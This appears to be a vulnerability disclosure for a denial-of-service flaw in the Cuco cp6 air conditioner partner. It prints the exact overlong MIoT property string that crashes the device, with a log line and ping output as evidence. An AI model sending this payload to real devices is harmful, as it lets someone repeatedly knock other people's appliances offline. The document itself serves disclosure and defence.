Vendor: Cuco

Device: Cuco air conditioner partner cp6 (*cuco.acpartner.cp6*)

Firmware Version: 2.1.3_0012 (up to date)

****NOTE****： The device only uses Xiaomi Mi Home's MIoT protocol. The vulnerability is neither due to the Xiaomi Mi Home App nor Xiaomi's protocol, but rather to the device manufacturer's incorrect handling of the incoming MIoT protocol data. Therefore, this vulnerability is not within the scope of Xiaomi's CNA.

When a connection is established with the device using the Xiaomi Mi Home App, the device will enter offline mode when a specific command is sent to it (Fig.1).

In firmware version 2.1.3_0012, the device temporarily goes offline and automatically restarts after a short period, as shown in the attached Fig. 2 (demonstrating loss of ping responsiveness from another local network device). This behavior can be exploited repeatedly to cause ongoing disruptions, constituting a DoS attack.

The raw command is:

```
{'did': '690814182', 'siid': 12, 'piid': 3, 'value':
'XXXXXXXXBBBBBBBBBBBBBBBBBBBBBBAVVCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXX
BBBBBBBBBBBBBBBBBBBBBBAVVCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A'}
```

According to the device's MIoT documentation, the parameters siid:12 and piid:3 accept a string for controlling the model-temperature-speed command. The issue likely stems from inadequate validation of the string length, resulting in a buffer overflow or similar memory corruption.

```
2025-12-10 17:54:56.040 WARNING (MainThread) [custom_components.xiaomi_miot.core.device.cuco.acpartner.cp6] Set miot property {'did': '690814182', 'siid': 12, 'piid': 3, 'value': 'XXXXXXXXBBBBBBBBBBBBBBBBBBBBBBAVVCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXBBBBBBBBBBBBBBBBBBBBBBAVVCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'} failed, result: [{'did': '690814182', 'iid': '0.12.3', 'siid': 12, 'piid': 3, 'code': -704083036, 'exe_time': 0}]
```

Fig. 1 Plaintext of the command that can trigger the device exception

```
64 bytes from 192.168.0.222: icmp_seq=141 ttl=255 time=13.385 ms
64 bytes from 192.168.0.222: icmp_seq=142 ttl=255 time=12.158 ms
64 bytes from 192.168.0.222: icmp_seq=143 ttl=255 time=37.954 ms
64 bytes from 192.168.0.222: icmp_seq=144 ttl=255 time=18.311 ms
64 bytes from 192.168.0.222: icmp_seq=145 ttl=255 time=19.665 ms
Request timeout for icmp_seq 146
Request timeout for icmp_seq 147
Request timeout for icmp_seq 148
Request timeout for icmp_seq 149
Request timeout for icmp_seq 150
Request timeout for icmp_seq 151
Request timeout for icmp_seq 152
Request timeout for icmp_seq 153
Request timeout for icmp_seq 154
Request timeout for icmp_seq 155
Request timeout for icmp_seq 156
Request timeout for icmp_seq 157
ping: sendto: No route to host
Request timeout for icmp_seq 158
ping: sendto: Host is down
```

Fig. 2 Device temporary went offline and another device in the local network is unable to ping it.